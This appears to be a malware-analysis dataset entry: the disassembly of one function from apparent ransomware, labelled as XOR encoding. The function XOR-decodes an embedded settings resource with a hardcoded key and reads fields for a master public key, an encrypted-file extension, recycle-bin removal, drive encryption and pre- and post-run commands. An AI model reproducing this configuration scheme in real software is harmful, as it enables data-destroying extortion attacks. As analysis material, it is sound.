Function at 0x4034a0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43d1c3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xb8
push esi
push edi
push str.____Load_settings_from_resource..._n
call fcn.00401d10
push ecx
mov eax, esp
lea ecx, [ebp - 0x60]
mov dword [eax], str.SETTINGS
mov dword [eax + 4], 8
call fcn.0041e090
add esp, 8
mov dword [ebp - 4], 0
cmp byte [ebp - 0x60], 0
je 0x4042d5
mov edi, dword [ebp - 0x58]
mov esi, 0
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], esi
sub edi, dword [ebp - 0x5c]
je 0x403541
cmp edi, 0x7fffffff
ja 0x404320
push edi
lea ecx, [ebp - 0x20]
call fcn.00409240
mov esi, dword [ebp - 0x58]
mov eax, dword [ebp - 0x5c]
sub esi, eax
push esi
push eax
push dword [ebp - 0x20]
call fcn.00421fa0
mov eax, dword [ebp - 0x20]
add esp, 0xc
add eax, esi
mov esi, dword [ebp - 0x20]
mov dword [ebp - 0x1c], eax
xor ecx, ecx
test edi, edi
je 0x40356d
mov dword [ebp - 0x10], 0xe
nop
xor edx, edx
mov eax, ecx
div dword [ebp - 0x10]
mov eax, dword [ebp - 0x5c]
add edx, str.PUTINHUILO1337
mov al, byte [ecx + eax]
xor al, byte [edx]
mov byte [ecx + esi], al
inc ecx
cmp ecx, edi
jb 0x403550
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x5c]
call fcn.00405760
mov ecx, dword [ebp - 0x20]
test ecx, ecx
je 0x4035ad
mov edx, dword [ebp - 0x18]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x4035a3
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4043fc
push edx
push ecx
call fcn.004209ec
add esp, 8
mov eax, dword [ebp - 0x58]
mov byte [ebp - 0x11], 0
cmp eax, dword [ebp - 0x54]
je 0x4035c5
mov byte [eax], 0
mov ecx, dword [ebp - 0x58]
inc ecx
mov dword [ebp - 0x58], ecx
jmp 0x4035d5
lea ecx, [ebp - 0x11]
push ecx
push eax
lea ecx, [ebp - 0x5c]
call fcn.0040bc00
mov ecx, dword [ebp - 0x58]
mov eax, dword [ebp - 0x5c]
sub ecx, eax
push ecx
push eax
push str.___Resource:__s__i_n
call fcn.00401d70
mov eax, dword [ebp - 0x5c]
lea edx, [ebp - 0x10]
add esp, 0xc
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x50]
push 0
push 1
sub esp, 0x28
mov eax, esp
mov dword [eax + 0x24], 0
call fcn.004067b0
add esp, 0x30
push str.sMasterPublicKey
lea ecx, [ebp - 0x50]
mov byte [ebp - 4], 1
call fcn.004068c0
lea ecx, [ebp - 0xc4]
push ecx
mov ecx, eax
call fcn.00406b40
mov edx, eax
mov byte [ebp - 4], 2
lea ecx, [ebp - 0xa8]
call fcn.0041de30
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0xb0]
cmp ecx, 0x10
jb 0x40367b
mov edx, dword [ebp - 0xc4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403671
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404325
push ecx
push edx
call fcn.004209ec
add esp, 8
cmp dword [ebp - 0x94], 8
lea eax, [ebp - 0xa8]
push dword [ebp - 0x98]
cmovae eax, dword [ebp - 0xa8]
mov ecx, 0x4509cc
push eax
mov dword [ebp - 0xb4], 0
mov dword [ebp - 0xb0], 0xf
mov byte [ebp - 0xc4], 0
call fcn.00412a10
add esp, 8
test eax, eax
jne 0x4036ca
mov byte [ebp - 0x11], al
jmp 0x404263
push str.sEncryptedFileExtension
lea ecx, [ebp - 0x50]
call fcn.004068c0
lea ecx, [ebp - 0x3c]
push ecx
mov ecx, eax
call fcn.00406b40
mov edx, eax
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x90]
call fcn.0041de30
mov esi, eax
cmp esi, 0x450abc
je 0x403781
mov edx, dword [0x450ad0]
cmp edx, 8
jb 0x403741
mov ecx, dword [0x450abc]
lea edx, [edx*2 + 2]
cmp edx, 0x1000
jb 0x403737
mov edi, dword [ecx - 4]
add edx, 0x23
sub ecx, edi
lea eax, [ecx - 4]
cmp eax, 0x1f
ja 0x40432a
mov ecx, edi
push edx
push ecx
call fcn.004209ec
add esp, 8
mov dword [0x450acc], 0
xor eax, eax
mov dword [0x450ad0], 7
mov word [0x450abc], ax
movups xmm0, xmmword [esi]
movups xmmword [0x450abc], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [0x450acc], xmm0
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], 7
mov word [esi], ax
mov ecx, dword [ebp - 0x7c]
cmp ecx, 8
jb 0x4037be
mov edx, dword [ebp - 0x90]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4037b4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40432a
push ecx
push edx
call fcn.004209ec
add esp, 8
xor eax, eax
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x80], 0
mov dword [ebp - 0x7c], 7
mov word [ebp - 0x90], ax
cmp ecx, 0x10
jb 0x40380d
mov edx, dword [ebp - 0x3c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403803
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40432a
push ecx
push edx
call fcn.004209ec
add esp, 8
push str.bThreadPool
lea ecx, [ebp - 0x50]
call fcn.004068c0
mov ecx, eax
cmp byte [ecx], 4
jne 0x40432f
mov al, byte [ecx + 8]
lea ecx, [ebp - 0x50]
push str.nThreads
mov byte [0x457470], al
call fcn.004068c0
mov ecx, eax
call fcn.00406a10
push str.nEncryptionTypeIO
lea ecx, [ebp - 0x50]
mov dword [0x45747c], eax
call fcn.004068c0
mov ecx, eax
call fcn.00406a10
push str.nEncryptionLimitBytes
lea ecx, [ebp - 0x50]
mov dword [0x457474], eax
call fcn.004068c0
mov ecx, eax
call fcn.00406a10
push str.nEncryptionType
lea ecx, [ebp - 0x50]
mov dword [0x4509a0], eax
call fcn.004068c0
mov ecx, eax
call fcn.00406a10
push str.nEncryptionBlockBytes
lea ecx, [ebp - 0x50]
mov dword [0x457480], eax
call fcn.004068c0
mov ecx, eax
call fcn.00406a10
push str.nEncryptionSkipBytes
lea ecx, [ebp - 0x50]
mov dword [0x4509a4], eax
call fcn.004068c0
mov ecx, eax
call fcn.00406a10
push str.bRemoveRecycle
lea ecx, [ebp - 0x50]
mov dword [0x457488], eax
call fcn.004068c0
mov ecx, eax
cmp byte [ecx], 4
jne 0x404361
mov al, byte [ecx + 8]
lea ecx, [ebp - 0x50]
push str.bChiperDrives
mov byte [0x457484], al
call fcn.004068c0
mov ecx, eax
cmp byte [ecx], 4
jne 0x404393
mov al, byte [ecx + 8]
lea ecx, [ebp - 0x50]
push str.bHideConsole
mov byte [0x457485], al
call fcn.004068c0
mov ecx, eax
cmp byte [ecx], 4
jne 0x4043c5
mov al, byte [ecx + 8]
lea ecx, [ebp - 0x50]
push str.sRequirementsFilename
mov byte [0x45748d], al
call fcn.004068c0
lea ecx, [ebp - 0x3c]
push ecx
mov ecx, eax
call fcn.00406b40
mov edx, eax
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x78]
call fcn.0041de30
push eax
mov ecx, 0x4509b4
call fcn.004059b0
lea ecx, [ebp - 0x78]
call fcn.00405950
mov byte [ebp - 4], 4
mov eax, dword [ebp - 0x28]
cmp eax, 0x10
jb 0x403975
inc eax
lea ecx, [ebp - 0x3c]
push eax
push dword [ebp - 0x3c]
call fcn.00401b30
push str.sRequirementsData
lea ecx, [ebp - 0x50]
call fcn.004068c0
lea ecx, [ebp - 0x3c]
push ecx
mov ecx, eax
call fcn.00406b40
mov edx, eax
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x78]
call fcn.0041de30
mov esi, eax
cmp esi, 0x450aa4
je 0x403a29
mov edx, dword [0x450ab8]
cmp edx, 8
jb 0x4039e9
mov ecx, dword [0x450aa4]
lea edx, [edx*2 + 2]
cmp edx, 0x1000
jb 0x4039df
mov edi, dword [ecx - 4]
add edx, 0x23
sub ecx, edi
lea eax, [ecx - 4]
cmp eax, 0x1f
ja 0x4043f7
mov ecx, edi
push edx
push ecx
call fcn.004209ec
add esp, 8
mov dword [0x450ab4], 0
xor eax, eax
mov dword [0x450ab8], 7
mov word [0x450aa4], ax
movups xmm0, xmmword [esi]
movups xmmword [0x450aa4], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [0x450ab4], xmm0
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], 7
mov word [esi], ax
lea ecx, [ebp - 0x78]
call fcn.00405950
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x28]
cmp ecx, 0x10
jb 0x403a69
mov edx, dword [ebp - 0x3c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403a5f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4043f7
push ecx
push edx
call fcn.004209ec
add esp, 8
push str.vecSkipFileExtensions
lea ecx, [ebp - 0x50]
call fcn.004068c0
mov esi, eax
lea eax, [ebp - 0x24]
push eax
mov ecx, esi
call fcn.00405610
lea eax, [ebp - 0x88]
mov ecx, esi
push eax
call fcn.00405560
lea eax, [ebp - 0x88]
push eax
lea ecx, [ebp - 0x24]
call fcn.00406c10
test al, al
je 0x403c00
lea ecx, [ebp - 0x24]
call fcn.00405460
lea ecx, [ebp - 0x78]
push ecx
mov ecx, eax
call fcn.00406b40
mov edx, eax
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x3c]
call fcn.0041de30
mov byte [ebp - 4], 0xe
mov ecx, dword [0x450a9c]
cmp ecx, dword [0x450aa0]
je 0x403b1b
xorps xmm0, xmm0
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
movups xmm0, xmmword [eax]
movups xmmword [ecx], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ecx + 0x10], xmm0
xor ecx, ecx
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
add dword [0x450a9c], 0x18
jmp 0x403b27
push eax
push ecx
mov ecx, 0x450a98
call fcn.0040b970
mov byte [ebp - 4], 0xd
mov ecx, dword [ebp - 0x28]
cmp ecx, 8
jb 0x403b65
mov edx, dword [ebp - 0x3c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403b5b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404325
push ecx
push edx
call fcn.004209ec
add esp, 8
xor eax, eax
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 7
mov word [ebp - 0x3c], ax
cmp ecx, 0x10
jb 0x403bb1
mov edx, dword [ebp - 0x78]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403ba7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404325
push ecx
push edx
call fcn.004209ec
add esp, 8
mov eax, dword [ebp - 0x24]
movzx eax, byte [eax]
cmp eax, 9
ja case.0x403bc3.0
movzx eax, byte [eax + 0x404414]
jmp dword [eax*4 + 0x404408]
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x10], eax
call fcn.00406280
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x20], eax
jmp 0x403be9
add dword [ebp - 0x1c], 0x10
jmp 0x403be9
inc dword [ebp - 0x18]
lea eax, [ebp - 0x88]
push eax
lea ecx, [ebp - 0x24]
call fcn.00406c10
test al, al
jne 0x403aa8
push str.vecFullEncryptionExtensions
lea ecx, [ebp - 0x50]
call fcn.004068c0
mov esi, eax
lea eax, [ebp - 0x24]
push eax
mov ecx, esi
call fcn.00405610
lea eax, [ebp - 0x88]
mov ecx, esi
push eax
call fcn.00405560
lea eax, [ebp - 0x88]
push eax
lea ecx, [ebp - 0x24]
call fcn.00406c10
test al, al
je 0x403d98
nop
lea ecx, [ebp - 0x24]
call fcn.00405460
lea ecx, [ebp - 0x78]
push ecx
mov ecx, eax
call fcn.00406b40
mov edx, eax
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x3c]
call fcn.0041de30
mov byte [ebp - 4], 0x10
mov ecx, dword [0x450a24]
cmp ecx, dword [0x450a28]
je 0x403cb3
xorps xmm0, xmm0
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
movups xmm0, xmmword [eax]
movups xmmword [ecx], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ecx + 0x10], xmm0
xor ecx, ecx
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
add dword [0x450a24], 0x18
jmp 0x403cbf
push eax
push ecx
mov ecx, 0x450a20
call fcn.0040b970
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0x28]
cmp ecx, 8
jb 0x403cfd
mov edx, dword [ebp - 0x3c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403cf3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404325
push ecx
push edx
call fcn.004209ec
add esp, 8
xor eax, eax
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 7
mov word [ebp - 0x3c], ax
cmp ecx, 0x10
jb 0x403d49
mov edx, dword [ebp - 0x78]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403d3f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404325
push ecx
push edx
call fcn.004209ec
add esp, 8
mov eax, dword [ebp - 0x24]
movzx eax, byte [eax]
cmp eax, 9
ja case.0x403d5b.0
movzx eax, byte [eax + 0x40442c]
jmp dword [eax*4 + 0x404420]
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x10], eax
call fcn.00406280
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x20], eax
jmp 0x403d81
add dword [ebp - 0x1c], 0x10
jmp 0x403d81
inc dword [ebp - 0x18]
lea eax, [ebp - 0x88]
push eax
lea ecx, [ebp - 0x24]
call fcn.00406c10
test al, al
jne 0x403c40
push str.vecSkipPaths
lea ecx, [ebp - 0x50]
call fcn.004068c0
mov esi, eax
lea eax, [ebp - 0x24]
push eax
mov ecx, esi
call fcn.00405610
lea eax, [ebp - 0x88]
mov ecx, esi
push eax
call fcn.00405560
lea eax, [ebp - 0x88]
push eax
lea ecx, [ebp - 0x24]
call fcn.00406c10
test al, al
je 0x403f2f
lea ecx, [ebp - 0x24]
call fcn.00405460
lea ecx, [ebp - 0x78]
push ecx
mov ecx, eax
call fcn.00406b40
mov edx, eax
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x3c]
call fcn.0041de30
mov byte [ebp - 4], 0x12
mov ecx, dword [0x45750c]
cmp ecx, dword [0x457510]
je 0x403e4a
xorps xmm0, xmm0
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
movups xmm0, xmmword [eax]
movups xmmword [ecx], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ecx + 0x10], xmm0
xor ecx, ecx
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
add dword [0x45750c], 0x18
jmp 0x403e56
push eax
push ecx
mov ecx, 0x457508
call fcn.0040b970
mov byte [ebp - 4], 0x11
mov ecx, dword [ebp - 0x28]
cmp ecx, 8
jb 0x403e94
mov edx, dword [ebp - 0x3c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403e8a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404325
push ecx
push edx
call fcn.004209ec
add esp, 8
xor eax, eax
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 7
mov word [ebp - 0x3c], ax
cmp ecx, 0x10
jb 0x403ee0
mov edx, dword [ebp - 0x78]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403ed6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404325
push ecx
push edx
call fcn.004209ec
add esp, 8
mov eax, dword [ebp - 0x24]
movzx eax, byte [eax]
cmp eax, 9
ja case.0x403ef2.0
movzx eax, byte [eax + 0x404444]
jmp dword [eax*4 + 0x404438]
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x10], eax
call fcn.00406280
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x20], eax
jmp 0x403f18
add dword [ebp - 0x1c], 0x10
jmp 0x403f18
inc dword [ebp - 0x18]
lea eax, [ebp - 0x88]
push eax
lea ecx, [ebp - 0x24]
call fcn.00406c10
test al, al
jne 0x403dd7
push str.vecPreRunCommands
lea ecx, [ebp - 0x50]
call fcn.004068c0
mov esi, eax
lea eax, [ebp - 0x24]
push eax
mov ecx, esi
call fcn.00405610
lea eax, [ebp - 0x88]
mov ecx, esi
push eax
call fcn.00405560
lea eax, [ebp - 0x88]
push eax
lea ecx, [ebp - 0x24]
call fcn.00406c10
test al, al
je 0x4040c8
nop
lea ecx, [ebp - 0x24]
call fcn.00405460
lea ecx, [ebp - 0x78]
push ecx
mov ecx, eax
call fcn.00406b40
mov edx, eax
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x3c]
call fcn.0041de30
mov byte [ebp - 4], 0x14
mov ecx, dword [0x450ad8]
cmp ecx, dword [0x450adc]
je 0x403fe3
xorps xmm0, xmm0
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
movups xmm0, xmmword [eax]
movups xmmword [ecx], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ecx + 0x10], xmm0
xor ecx, ecx
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
add dword [0x450ad8], 0x18
jmp 0x403fef
push eax
push ecx
mov ecx, 0x450ad4
call fcn.0040b970
mov byte [ebp - 4], 0x13
mov ecx, dword [ebp - 0x28]
cmp ecx, 8
jb 0x40402d
mov edx, dword [ebp - 0x3c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x404023
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404325
push ecx
push edx
call fcn.004209ec
add esp, 8
xor eax, eax
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 7
mov word [ebp - 0x3c], ax
cmp ecx, 0x10
jb 0x404079
mov edx, dword [ebp - 0x78]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40406f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404325
push ecx
push edx
call fcn.004209ec
add esp, 8
mov eax, dword [ebp - 0x24]
movzx eax, byte [eax]
cmp eax, 9
ja case.0x40408b.0
movzx eax, byte [eax + 0x40445c]
jmp dword [eax*4 + 0x404450]
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x10], eax
call fcn.00406280
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x20], eax
jmp 0x4040b1
add dword [ebp - 0x1c], 0x10
jmp 0x4040b1
inc dword [ebp - 0x18]
lea eax, [ebp - 0x88]
push eax
lea ecx, [ebp - 0x24]
call fcn.00406c10
test al, al
jne 0x403f70
push str.vecPostRunCommands
lea ecx, [ebp - 0x50]
call fcn.004068c0
mov esi, eax
lea eax, [ebp - 0x24]
push eax
mov ecx, esi
call fcn.00405610
lea eax, [ebp - 0x88]
mov ecx, esi
push eax
call fcn.00405560
lea eax, [ebp - 0x88]
push eax
lea ecx, [ebp - 0x24]
call fcn.00406c10
test al, al
je 0x40425f
lea ecx, [ebp - 0x24]
call fcn.00405460
lea ecx, [ebp - 0x78]
push ecx
mov ecx, eax
call fcn.00406b40
mov edx, eax
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x3c]
call fcn.0041de30
mov byte [ebp - 4], 0x16
mov ecx, dword [0x450a78]
cmp ecx, dword [0x450a7c]
je 0x40417a
xorps xmm0, xmm0
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
movups xmm0, xmmword [eax]
movups xmmword [ecx], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ecx + 0x10], xmm0
xor ecx, ecx
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
add dword [0x450a78], 0x18
jmp 0x404186
push eax
push ecx
mov ecx, 0x450a74
call fcn.0040b970
mov byte [ebp - 4], 0x15
mov ecx, dword [ebp - 0x28]
cmp ecx, 8
jb 0x4041c4
mov edx, dword [ebp - 0x3c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4041ba
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404325
push ecx
push edx
call fcn.004209ec
add esp, 8
xor eax, eax
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 7
mov word [ebp - 0x3c], ax
cmp ecx, 0x10
jb 0x404210
mov edx, dword [ebp - 0x78]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404206
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404325
push ecx
push edx
call fcn.004209ec
add esp, 8
mov eax, dword [ebp - 0x24]
movzx eax, byte [eax]
cmp eax, 9
ja case.0x404222.0
movzx eax, byte [eax + 0x404474]
jmp dword [eax*4 + 0x404468]
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x10], eax
call fcn.00406280
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x20], eax
jmp 0x404248
add dword [ebp - 0x1c], 0x10
jmp 0x404248
inc dword [ebp - 0x18]
lea eax, [ebp - 0x88]
push eax
lea ecx, [ebp - 0x24]
call fcn.00406c10
test al, al
jne 0x404107
mov byte [ebp - 0x11], 1
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x94]
cmp ecx, 8
jb 0x4042a7
mov edx, dword [ebp - 0xa8]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40429d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4043fc
push ecx
push edx
call fcn.004209ec
add esp, 8
xor eax, eax
mov dword [ebp - 0x98], 0
mov dword [ebp - 0x94], 7
mov word [ebp - 0xa8], ax
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x48]
push dword [ebp - 0x50]
call fcn.00405c50
jmp 0x4042d9
mov byte [ebp - 0x11], 0
mov ecx, dword [ebp - 0x5c]
test ecx, ecx
je 0x40430d
mov edx, dword [ebp - 0x54]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x404303
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404401
push edx
push ecx
call fcn.004209ec
add esp, 8
mov al, byte [ebp - 0x11]
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret
call fcn.004057e0
call fcn.0042cebf
call fcn.0042cebf
call fcn.00409010
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x78]
lea eax, [ebp - 0x10]
push eax
call fcn.00412630
push eax
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 7
call fcn.00412440
add esp, 8
lea eax, [ebp - 0x40]
push 0x44debc
push eax
call fcn.00421f27
call fcn.00409010
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x78]
lea eax, [ebp - 0x10]
push eax
call fcn.00412630
push eax
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 8
call fcn.00412440
add esp, 8
lea eax, [ebp - 0x40]
push 0x44debc
push eax
call fcn.00421f27
call fcn.00409010
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x78]
lea eax, [ebp - 0x10]
push eax
call fcn.00412630
push eax
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 9
call fcn.00412440
add esp, 8
lea eax, [ebp - 0x40]
push 0x44debc
push eax
call fcn.00421f27
call fcn.00409010
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x78]
lea eax, [ebp - 0x10]
push eax
call fcn.00412630
push eax
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0xa
call fcn.00412440
add esp, 8
lea eax, [ebp - 0x40]
push 0x44debc
push eax
call fcn.00421f27
call fcn.0042cebf
call fcn.0042cebf
call fcn.0042cebf
nop
out 0x3b, al
inc eax
add dl, cl
cmp eax, dword [eax]
loopne 0x40444d
inc eax
add byte [eax], al
add dword [edx], eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi - 112], ah
jle 4211807
inc eax
add byte [edx + 0x3d], ah
inc eax
add byte [eax + 0x3d], bh
inc eax
add byte [eax], al
add dword [edx], eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi - 112], ah
adc eax, -117424065
inc eax
add byte [edi], cl
aas
inc eax
add byte [eax], al
add dword [edx], eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi - 0x70], ah
scasb al, byte es:[edi]
inc eax
inc eax
add byte [edx - 0x57ffbfc0], dl
inc eax
inc eax
add byte [eax], al
add dword [edx], eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi - 112], ah
inc ebp
inc edx
inc eax
add byte [ecx], ch
inc edx
inc eax
add byte [edi], bh
inc edx
inc eax
add byte [eax], al
add dword [edx], eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add ah, cl
int3